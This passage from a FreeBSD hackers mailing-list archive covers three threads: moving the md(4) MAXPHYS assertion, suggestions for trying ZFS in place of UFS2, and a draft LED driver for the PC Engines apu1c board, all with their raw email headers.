- head/sys/geom/uzip we have: >=20 > Make sure not to do I/O for more than MAXPHYS bytes. Doing so can cause > problems in our providers, such as a KASSERT in md(4). ... >=20 > That would be this one: >=20 > KASSERT(bp->bio_length <=3D MAXPHYS, ("bio_length %jd", > (uintmax_t)bp->bio_length)); > if ((bp->bio_flags & BIO_UNMAPPED) =3D=3D 0) { > pb =3D NULL; > aiov.iov_base =3D bp->bio_data; > } else { > pb =3D getpbuf(&md_vnode_pbuf_freecnt); > ... >=20 > As it happens, the KASSERT is really only required for the > pb !=3D NULL case, which uses one of the reserved getpbuf() buffers > that only map MAXPHYS bytes at a time. If bp->bio_flags says that > the bio is mapped, we just use the existing KVA, and VOP_READ() and > VOP_WRITE() must already break up arbitrarily large transfers. >=20 > So, it seems like the md(4) KASSERT can be moved into the "else". > Is this a good idea? (It might not help r264504 much since it > looks like r264504 wants to handle short-read results anyway, but > it seems overly restrictive to require <=3D MAXPHYS for the mapped > cases.) See r259198. In fact, I considered reverting this after the r264504. --pnwJnpr18esoRWH7 Content-Type: application/pgp-signature -----BEGIN PGP SIGNATURE----- Version: GnuPG v2.0.22 (FreeBSD) iQIcBAEBAgAGBQJTVZk1AAoJEJDCuSvBvK1BHKkP/1c8M1w4eLAWqhJXEbcku2Ka +IVGS+sCWUhoGthN1BMT3lFW2jyybK4ZetivvWSM+7G0UaqrxXV617mbTg9jjFGc 0tw2WObk1+psVZJqETenZFn3znvYf5h64Zu9l31lUQkmzHxQpNB1Toe3L2t3+wjX U8ijIPZQsT4ZozgYTqjSn3eAKj8mbAK5wVwLozkrDWtkSUlrmPXQ99NzYusgHRsY w+euTj4mxsu7pUI49YAUiafHIueZFaC0jFiflX+2j4OuB5XZ+Yv87AWSklMRZjBz Pv6hUlTTZ6cZ9cltVP2lV1oMYQG0b3ZtowqDjY9qTvgvvt31uEvGqXsuAe5S2EIK 7AgVQuwrz0yTunn6U3lGZQyRWHFi2udnyNV2RD68jZM0zclNa8QBoeOoh1wUoyRi xqOEyL5CinfmqXc1mLmUdXmlbyNdpKqN6zoEozDMMpqPS1DizpVjXLNf9zUF0aS7 +21VwmDaI3binXujmSisMlxhqswKLigs5aH8n/cHa6p3Mj63hsbrmqGAtPjRO8/U GSAmZ/Z92vlmXaFJsCrGE5thICh6S0w2jIBvUjtUtTDSCskcI/E4zMlvX2rGmnR3 pXZxm+76F6/+zCb75woScGbFRyu2vUlhP9o3rnOghwTidKT5pOsFQqceDWTSTSlJ Tq24TRutB5EaEEeE/87m =bvsV -----END PGP SIGNATURE----- --pnwJnpr18esoRWH7-- From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 22:22:12 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1CE8AE00 for ; Mon, 21 Apr 2014 22:22:12 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id D59031FF7 for ; Mon, 21 Apr 2014 22:22:11 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s3LMMAfN080167 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 21 Apr 2014 15:22:10 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s3LMMACc080166; Mon, 21 Apr 2014 15:22:10 -0700 (PDT) (envelope-from jmg) Date: Mon, 21 Apr 2014 15:22:10 -0700 From: John-Mark Gurney To: Chris Torek Subject: Re: MAXPHYS in md(4) Message-ID: <20140421222210.GW43976@funkthat.com> Mail-Followup-To: Chris Torek , freebsd-hackers@freebsd.org References: <201404212215.s3LMFstd045652@elf.torek.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201404212215.s3LMFstd045652@elf.torek.net> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Mon, 21 Apr 2014 15:22:10 -0700 (PDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 22:22:12 -0000 Chris Torek wrote this message on Mon, Apr 21, 2014 at 16:15 -0600: > In svn commit: r264504 - head/sys/geom/uzip we have: > > Make sure not to do I/O for more than MAXPHYS bytes. Doing so can cause > problems in our providers, such as a KASSERT in md(4). ... > > That would be this one: > > KASSERT(bp->bio_length <= MAXPHYS, ("bio_length %jd", > (uintmax_t)bp->bio_length)); > if ((bp->bio_flags & BIO_UNMAPPED) == 0) { > pb = NULL; > aiov.iov_base = bp->bio_data; > } else { > pb = getpbuf(&md_vnode_pbuf_freecnt); > ... > > As it happens, the KASSERT is really only required for the > pb != NULL case, which uses one of the reserved getpbuf() buffers > that only map MAXPHYS bytes at a time. If bp->bio_flags says that > the bio is mapped, we just use the existing KVA, and VOP_READ() and > VOP_WRITE() must already break up arbitrarily large transfers. > > So, it seems like the md(4) KASSERT can be moved into the "else". > Is this a good idea? (It might not help r264504 much since it > looks like r264504 wants to handle short-read results anyway, but > it seems overly restrictive to require <= MAXPHYS for the mapped > cases.) This really should be moved up into the generic GEOM layer so geom module ever sees IO that is larger than MAXPHYS... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 22:30:33 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 326A1F7 for ; Mon, 21 Apr 2014 22:30:33 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id DE62A108A for ; Mon, 21 Apr 2014 22:30:32 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s3LMUWif045734; Mon, 21 Apr 2014 16:30:32 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201404212230.s3LMUWif045734@elf.torek.net> From: Chris Torek To: John-Mark Gurney Subject: Re: MAXPHYS in md(4) In-reply-to: Your message of "Mon, 21 Apr 2014 15:22:10 -0700." <20140421222210.GW43976@funkthat.com> Date: Mon, 21 Apr 2014 16:30:32 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Mon, 21 Apr 2014 16:30:32 -0600 (MDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 22:30:33 -0000 >This really should be moved up into the generic GEOM layer so geom >module ever sees IO that is larger than MAXPHYS... Well, maybe, but if you're going to do something like that it might be nice to have the device equivalent of MTU discovery.... Chris From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 23:15:35 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id E0292FEF for ; Mon, 21 Apr 2014 23:15:35 +0000 (UTC) Received: from h2.funkthat.com (gate2.funkthat.com [208.87.223.18]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client CN "funkthat.com", Issuer "funkthat.com" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id BE35D14E1 for ; Mon, 21 Apr 2014 23:15:35 +0000 (UTC) Received: from h2.funkthat.com (localhost [127.0.0.1]) by h2.funkthat.com (8.14.3/8.14.3) with ESMTP id s3LNFYAd080923 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES256-SHA bits=256 verify=NO); Mon, 21 Apr 2014 16:15:35 -0700 (PDT) (envelope-from jmg@h2.funkthat.com) Received: (from jmg@localhost) by h2.funkthat.com (8.14.3/8.14.3/Submit) id s3LNFYws080922; Mon, 21 Apr 2014 16:15:34 -0700 (PDT) (envelope-from jmg) Date: Mon, 21 Apr 2014 16:15:34 -0700 From: John-Mark Gurney To: Chris Torek Subject: Re: MAXPHYS in md(4) Message-ID: <20140421231534.GY43976@funkthat.com> Mail-Followup-To: Chris Torek , freebsd-hackers@freebsd.org References: <20140421222210.GW43976@funkthat.com> <201404212230.s3LMUWif045734@elf.torek.net> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: <201404212230.s3LMUWif045734@elf.torek.net> User-Agent: Mutt/1.4.2.3i X-Operating-System: FreeBSD 7.2-RELEASE i386 X-PGP-Fingerprint: 54BA 873B 6515 3F10 9E88 9322 9CB1 8F74 6D3F A396 X-Files: The truth is out there X-URL: http://resnet.uoregon.edu/~gurney_j/ X-Resume: http://resnet.uoregon.edu/~gurney_j/resume.html X-TipJar: bitcoin:13Qmb6AeTgQecazTWph4XasEsP7nGRbAPE X-to-the-FBI-CIA-and-NSA: HI! HOW YA DOIN? can i haz chizburger? X-Greylist: Sender passed SPF test, not delayed by milter-greylist-4.2.2 (h2.funkthat.com [127.0.0.1]); Mon, 21 Apr 2014 16:15:35 -0700 (PDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 23:15:35 -0000 Chris Torek wrote this message on Mon, Apr 21, 2014 at 16:30 -0600: > >This really should be moved up into the generic GEOM layer so geom > >module ever sees IO that is larger than MAXPHYS... > > Well, maybe, but if you're going to do something like that it > might be nice to have the device equivalent of MTU discovery.... Why? GEOM modules are written on the assumption that no IO larger than MAXPHYS will ever be seen... They allocate arrays of structures or other items based upon MAXPHYS, and will smash the stack/crash//do bad things if it receives an IO larger than MAXPHYS... The change would not break anything that isn't already broken (or working by luck)... Now if you're talking about wanting to increase MAXPHYS, there are many threads talking about what needs to be done about it, but that is completely different than this issue... -- John-Mark Gurney Voice: +1 415 225 5579 "All that I will do, has been done, All that I have, has not." From owner-freebsd-hackers@FreeBSD.ORG Mon Apr 21 23:27:05 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 8716F2E1 for ; Mon, 21 Apr 2014 23:27:05 +0000 (UTC) Received: from elf.torek.net (50-73-42-1-utah.hfc.comcastbusiness.net [50.73.42.1]) (using TLSv1 with cipher DHE-RSA-AES256-SHA (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id 5799F15CA for ; Mon, 21 Apr 2014 23:27:04 +0000 (UTC) Received: from elf.torek.net (localhost [127.0.0.1]) by elf.torek.net (8.14.5/8.14.5) with ESMTP id s3LNR3LS046107; Mon, 21 Apr 2014 17:27:03 -0600 (MDT) (envelope-from torek@torek.net) Message-Id: <201404212327.s3LNR3LS046107@elf.torek.net> From: Chris Torek To: John-Mark Gurney Subject: Re: MAXPHYS in md(4) In-reply-to: Your message of "Mon, 21 Apr 2014 16:15:34 -0700." <20140421231534.GY43976@funkthat.com> Date: Mon, 21 Apr 2014 17:27:03 -0600 X-Greylist: Sender IP whitelisted, not delayed by milter-greylist-4.4.3 (elf.torek.net [127.0.0.1]); Mon, 21 Apr 2014 17:27:03 -0600 (MDT) Cc: freebsd-hackers@freebsd.org X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Mon, 21 Apr 2014 23:27:05 -0000 >Why? GEOM modules are written on the assumption that no IO larger >than MAXPHYS will ever be seen... They allocate arrays of structures >or other items based upon MAXPHYS, and will smash the stack/crash//do >bad things if it receives an IO larger than MAXPHYS... > >The change would not break anything that isn't already broken (or >working by luck)... > >Now if you're talking about wanting to increase MAXPHYS, there are many >threads talking about what needs to be done about it, but that is >completely different than this issue... Yes, I was thinking of the latter. It's not *completely* different as it would be nice to let devices crank down the I/O size if they have various address and/or byte-count limits. (Not that I know of any *modern* devices with such limits. I see this is mentioned in old freebsd-arch discussions...) Chris From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 01:40:26 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 0190D71B for ; Tue, 22 Apr 2014 01:40:26 +0000 (UTC) Received: from nes.txt.com (nes.txt.com [IPv6:2001:470:8148::20]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client did not present a certificate) by mx1.freebsd.org (Postfix) with ESMTPS id B50561110 for ; Tue, 22 Apr 2014 01:40:25 +0000 (UTC) Received: from localhost (localhost [127.0.0.1]) by nes.txt.com (Postfix) with ESMTP id B111C47F for ; Mon, 21 Apr 2014 18:38:36 -0700 (PDT) Received: from nes.txt.com ([127.0.0.1]) by localhost (nes.txt.com [127.0.0.1]) (maiad, port 10024) with ESMTP id 03618-03 for ; Mon, 21 Apr 2014 18:38:36 -0700 (PDT) Received: from mpro.cmhome (unknown [67.42.3.9]) (using TLSv1 with cipher ECDHE-RSA-AES256-SHA (256/256 bits)) (No client certificate requested) by nes.txt.com (Postfix) with ESMTPSA id 41D1847E for ; Mon, 21 Apr 2014 18:38:36 -0700 (PDT) From: Louis Kowolowski Content-Type: multipart/signed; boundary="Apple-Mail=_37B458BB-7487-4002-9BCC-C6822210199D"; protocol="application/pgp-signature"; micalg=pgp-sha1 Message-Id: <63190425-672D-4A05-AAB0-B19A49EDB739@cryptomonkeys.org> Mime-Version: 1.0 (Mac OS X Mail 7.3 \(1877.9\)) Subject: Re: Pointer to info on migrating from UFS2 -> ZFS? Date: Mon, 21 Apr 2014 18:40:05 -0700 References: <20140421191528.GI1321@albert.catwhisker.org> To: hackers@freebsd.org In-Reply-To: <20140421191528.GI1321@albert.catwhisker.org> X-Mailer: Apple Mail (2.1877.9) X-Content-Filtered-By: Mailman/MimeDel 2.1.17 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 01:40:26 -0000 --Apple-Mail=_37B458BB-7487-4002-9BCC-C6822210199D Content-Transfer-Encoding: quoted-printable Content-Type: text/plain; charset=windows-1252 I=92d probably suggest a couple things: * VirtualBox (or equiv) for setting up test environments that are easy = to create and destroy. For all the beginning stuff I can think of, you = should be able to do just fine with a virtual environment. VMs with a = half dozen virtual disks that are 2G ea come in handy with playing with = ZFS. * The (FreeBSD) handbook section (on ZFS) walks through examples, but = doesn=92t cover the theory * For reading material, I=92d probably start here: = http://open-zfs.org/wiki/Documentation I haven=92t looked at the ZFS admin guide since around 2007, there will = be some divergence between Soracle and the rest of the ZFS community, = but most of it should apply. Likewise, the ZFS best practices, and = performance tuning. On Apr 21, 2014, at 12:15 PM, David Wolfskill = wrote: > At work, we have several machines presently running FreeBSD/amd64 > stable/9 @r257221 that are used for building software within a jail. > They currently use UFS2 + soft updates (no journaling). >=20 > I am interested in finding out how the behavior of one of these = systems > changes if I replace the UFS2 FS where the builds are actually done = with > a ZFS FS. >=20 > I would prefer to avoid the need to touch the machine(s) for this > exercise, so I'm interested in trying the exercise using the same > hardware -- though possibly configured somewhat differently. >=20 > What would be a good place to start my research? [Caveat: While I've > used UFS longer than ... some readers of this message have been alive, > I've not administered ZFS before.] >=20 > Thanks! >=20 > Peace, > david > --=20 > David H. Wolfskill david@catwhisker.org > Taliban: Evil cowards with guns afraid of truth from a 14-year old = girl. >=20 > See http://www.catwhisker.org/~david/publickey.gpg for my public key. -- Louis Kowolowski louisk@cryptomonkeys.org Cryptomonkeys: = http://www.cryptomonkeys.com/ Making life more interesting for people since 1977 --Apple-Mail=_37B458BB-7487-4002-9BCC-C6822210199D Content-Transfer-Encoding: 7bit Content-Disposition: attachment; filename=signature.asc Content-Type: application/pgp-signature; name=signature.asc Content-Description: Message signed with OpenPGP using GPGMail -----BEGIN PGP SIGNATURE----- iQGcBAEBAgAGBQJTVch/AAoJEBdbgTdYmh/mjCUL/3xk0/fVFGW7vMqvwEV0ibO2 jqOOyWsgxnQHa57ixRlyJoBw6kC+MHe3QfuvJFeQnOrv/KInYonzwC4wWadfN0d7 hJbCBkEh4jPp2VgK+C1sabJMhrrXuWBCeb/nKjKicV3/OUlvzPcKJ4m+8tRThQEf fMW9m29KUF4G/IL+9vOUE7XN1KlrkT243gsnAyjyCcEF6Qg9R2iVy07vhu0Sdeaw 5ZyHhZ7D+g6ag1270l+9OHA6yCiAOMttnv+aAoX1SEXXdJnuDtJn6h1HH0kkiQe2 ypKlckCFHBx3kFmr1/x6CxJoHkYMpzx6xgw9PkUK2bgyrCzmj+6qcpVEGNfBTNdM KNXd7XdPw2Wi6u9rb0Lml3W87fHnG/C9/m+gVCG9h8DyE9FndcNHS+ii3pmRMTQV zYlHCtuuHDUkD0mplY5/1ApiKRE0dr/gQXJol4DwTMSyQMZSLUht2o4Ug88en6/1 z5tIIHj+SovZhtnNA+HriQH+QNRCYukGmomZIsxoOg== =WFMF -----END PGP SIGNATURE----- --Apple-Mail=_37B458BB-7487-4002-9BCC-C6822210199D-- From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 02:07:52 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 39F7FADB for ; Tue, 22 Apr 2014 02:07:52 +0000 (UTC) Received: from mailgate.gta.com (mailgate.gta.com [199.120.225.23]) by mx1.freebsd.org (Postfix) with ESMTP id BB13912D7 for ; Tue, 22 Apr 2014 02:07:51 +0000 (UTC) Received: (qmail 58334 invoked by uid 1000); 22 Apr 2014 02:01:09 -0000 Date: Mon, 21 Apr 2014 22:01:09 -0400 From: Larry Baird To: freebsd-hackers@freebsd.org Subject: apu1c led driver Message-ID: <20140422020109.GA57760@gta.com> MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline User-Agent: Mutt/1.5.23 (2014-03-12) X-Mailman-Approved-At: Tue, 22 Apr 2014 03:57:02 +0000 X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 02:07:52 -0000 There exists a nice simple linux driver for the leds on a pc engines apu1c board at http://daduke.org/linux/apu/. Converting driver to use led(4) and run on FreeBSD seemed straight forward. Or that is until I realized I don't know how to alloc and write to a fixed set of I/O ports. I believe the magic happens by using bus_alloc_resource(). Code below attempts to allow control of the second of three leds on the apu1c board. Once I get that working, it should be easy to extend driver to support all three leds. What is the correct way to allocate and write to a a set of I/O ports at address 0xFED801BD? #include #include #include #include #include #include #include #define BASEADDR (0xFED801BD) #define LEDON (0x8) #define LEDOFF (0xC8) #define GPIO_187 187 // MODESW #define GPIO_189 189 // LED1# #define GPIO_190 190 // LED2# #define GPIO_191 191 // LED3# struct apuled_softc { device_t sc_dev; int sc_rid; int sc_type; int sc_offset; struct resource *sc_res; void *sc_led1; }; /* * Device methods. */ static int apuled_probe(device_t dev); static int apuled_attach(device_t dev); static int apuled_detach(device_t dev); static device_method_t apuled_methods[] = { /* Device interface */ DEVMETHOD(device_probe, apuled_probe), DEVMETHOD(device_attach, apuled_attach), DEVMETHOD(device_detach, apuled_detach), DEVMETHOD_END }; static driver_t apuled_driver = { "apuled", apuled_methods, sizeof(struct apuled_softc), }; static devclass_t apuled_devclass; DRIVER_MODULE(apuled, pci, apuled_driver, apuled_devclass, NULL, NULL); static int apuled_probe(device_t dev) { device_set_desc(dev, "APU led"); return (BUS_PROBE_GENERIC); } static void led_func(void *ptr, int onoff) { struct apuled_softc *sc = (struct apuled_softc *)ptr; u_int8_t value; if ( onoff ) { value = LEDON; } else { value = LEDOFF; } bus_write_1(sc->sc_res, 1, value); } static int apuled_attach(device_t dev) { struct apuled_softc *sc = device_get_softc(dev); sc->sc_dev = dev; sc->sc_rid = 1; sc->sc_type = SYS_RES_IOPORT; if ( (sc->sc_res = bus_alloc_resource( sc->sc_dev, sc->sc_type, &sc->sc_rid, BASEADDR, BASEADDR + 4, 4, RF_ACTIVE)) == NULL ) { device_printf( sc->sc_dev, "Unable to allocate bus resource\n" ); return ENXIO; } else if ( (sc->sc_led1 = led_create(led_func, sc, "led1")) == NULL ) { device_printf( sc->sc_dev, "Unable to create LED 1\n" ); return ENXIO; } else { device_printf( sc->sc_dev, "LED 1 created\n" ); } return (0); } int apuled_detach(device_t dev) { struct apuled_softc *sc = device_get_softc(dev); if ( sc->sc_led1 != NULL ) { led_destroy( sc->sc_led1 ); } if ( sc->sc_res != NULL ) { bus_release_resource( sc->sc_dev, sc->sc_type, sc->sc_rid, sc->sc_res ); } return (0); } -- ------------------------------------------------------------------------ Larry Baird Global Technology Associates, Inc. 1992-2012 | http://www.gta.com Celebrating Twenty Years of Software Innovation | Orlando, FL Email: lab@gta.com | TEL 407-380-0220 From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 04:03:16 2014 Return-Path: Delivered-To: hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [IPv6:2001:1900:2254:206a::19:1]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 1F092E7B for ; Tue, 22 Apr 2014 04:03:16 +0000 (UTC) Received: from vps1.elischer.org (vps1.elischer.org [204.109.63.16]) (using TLSv1.2 with cipher ECDHE-RSA-AES256-GCM-SHA384 (256/256 bits)) (Client CN "vps1.elischer.org", Issuer "CA Cert Signing Authority" (not verified)) by mx1.freebsd.org (Postfix) with ESMTPS id E719A1D11 for ; Tue, 22 Apr 2014 04:03:15 +0000 (UTC) Received: from Julian-MBP3.local (gw2.metromesh.com.au [110.5.117.243]) (authenticated bits=0) by vps1.elischer.org (8.14.8/8.14.8) with ESMTP id s3M43Bq8042014 (version=TLSv1/SSLv3 cipher=DHE-RSA-AES128-SHA bits=128 verify=NO); Mon, 21 Apr 2014 21:03:14 -0700 (PDT) (envelope-from julian@freebsd.org) Message-ID: <5355E9F9.5080401@freebsd.org> Date: Tue, 22 Apr 2014 12:03:05 +0800 From: Julian Elischer User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.9; rv:24.0) Gecko/20100101 Thunderbird/24.4.0 MIME-Version: 1.0 To: hackers@freebsd.org, David Nellans Subject: Re: Pointer to info on migrating from UFS2 -> ZFS? References: <20140421191528.GI1321@albert.catwhisker.org> In-Reply-To: <20140421191528.GI1321@albert.catwhisker.org> Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 04:03:16 -0000 On 4/22/14, 3:15 AM, David Wolfskill wrote: > At work, we have several machines presently running FreeBSD/amd64 > stable/9 @r257221 that are used for building software within a jail. > They currently use UFS2 + soft updates (no journaling). > > I am interested in finding out how the behavior of one of these systems > changes if I replace the UFS2 FS where the builds are actually done with > a ZFS FS. > > I would prefer to avoid the need to touch the machine(s) for this > exercise, so I'm interested in trying the exercise using the same > hardware -- though possibly configured somewhat differently. > > What would be a good place to start my research? [Caveat: While I've > used UFS longer than ... some readers of this message have been alive, > I've not administered ZFS before.] > > Thanks! > > Peace, > david my experience so far is that ZFS is great if you want to do 'storage things' but that for straight out speed you might want to stick with ufs+SU. From owner-freebsd-hackers@FreeBSD.ORG Tue Apr 22 04:34:54 2014 Return-Path: Delivered-To: freebsd-hackers@freebsd.org Received: from mx1.freebsd.org (mx1.freebsd.org [8.8.178.115]) (using TLSv1 with cipher ADH-AES256-SHA (256/256 bits)) (No client certificate requested) by hub.freebsd.org (Postfix) with ESMTPS id 2B917641 for ; Tue, 22 Apr 2014 04:34:54 +0000 (UTC) Received: from mail-ob0-f171.google.com (mail-ob0-f171.google.com [209.85.214.171]) (using TLSv1 with cipher ECDHE-RSA-RC4-SHA (128/128 bits)) (Client CN "smtp.gmail.com", Issuer "Google Internet Authority G2" (verified OK)) by mx1.freebsd.org (Postfix) with ESMTPS id E547810C6 for ; Tue, 22 Apr 2014 04:34:53 +0000 (UTC) Received: by mail-ob0-f171.google.com with SMTP id uy5so5227429obc.30 for ; Mon, 21 Apr 2014 21:34:47 -0700 (PDT) X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed; d=1e100.net; s=20130820; h=x-gm-message-state:content-type:mime-version:subject:from :in-reply-to:date:cc:content-transfer-encoding:message-id:references :to; bh=qaXqmquGSFUCLayloKXifAfmpAabyhfXIz3B7w1m5HQ=; b=QcLWxK6Jjimq14w016zigBdMJQKSK8UDIkwlWhWVnL0wMNZEn0hlHJtoB6AyY3tSb2 a+TYe06SWH2xqVqPECBK+pUmvpDntHhuC3BJcLSkydMP4gmDf+qrrKcNQ88UHX1aMxpN Mo/skC+Z26okBkP3d7taJQRjqSuIV+EEoIYD02W70ZvSqoFQuNWPYEpcEgzyo1NQ+6rB H8n9RT9YdAHev3nAEMDTiDzyeNxUP8XSdWxX0vfPvCC05GQzYO4ygqHvkHAj6g6oJK9T 6cmlzB0VjEOtPTu6/28Qe8YiuJURS/nYkAvmIehNerGnVGOzL0Z69sNM985Q5n76zuZ3 rEJA== X-Gm-Message-State: ALoCoQkVWqYrKibp6AniGqxDYhPUjxnO0zMtQxU9axQVD+fdIrkaHwJWpWWr9c/tItvUqgTjPJi0 X-Received: by 10.60.39.131 with SMTP id p3mr10347526oek.44.1398141287381; Mon, 21 Apr 2014 21:34:47 -0700 (PDT) Received: from [172.21.0.93] (65-111-100-227.static.grandenetworks.net. [65.111.100.227]) by mx.google.com with ESMTPSA id b6sm67803155oez.8.2014.04.21.21.34.41 for (version=TLSv1 cipher=ECDHE-RSA-RC4-SHA bits=128/128); Mon, 21 Apr 2014 21:34:41 -0700 (PDT) Content-Type: text/plain; charset=us-ascii Mime-Version: 1.0 (Mac OS X Mail 7.2 \(1874\)) Subject: Re: apu1c led driver From: Jim Thompson In-Reply-To: <20140422020109.GA57760@gta.com> Date: Mon, 21 Apr 2014 23:34:40 -0500 Content-Transfer-Encoding: quoted-printable Message-Id: <69BC3E8E-A5D1-4CAD-96A0-9139FFBD8AA3@netgate.com> References: <20140422020109.GA57760@gta.com> To: Larry Baird X-Mailer: Apple Mail (2.1874) Cc: =?iso-8859-1?Q?Ermal_Lu=E7i?= , Freebsd hackers list X-BeenThere: freebsd-hackers@freebsd.org X-Mailman-Version: 2.1.17 Precedence: list List-Id: Technical Discussions relating to FreeBSD List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Tue, 22 Apr 2014 04:34:54 -0000 Might want to get Ermal to post the driver he did for us (@ pfSense). Or just submit it to the process for -HEAD. Jim On Apr 21, 2014, at 9:01 PM, Larry Baird wrote: > There exists a nice simple linux driver for the leds on a pc engines = apu1c > board at http://daduke.org/linux/apu/. Converting driver to use = led(4) > and run on FreeBSD seemed straight forward. Or that is until I = realized > I don't know how to alloc and write to a fixed set of I/O ports. I = believe > the magic happens by using bus_alloc_resource(). Code below attempts = to allow > control of the second of three leds on the apu1c board. Once I get = that > working, it should be easy to extend driver to support all three leds. > What is the correct way to allocate and write to a a set of I/O ports = at 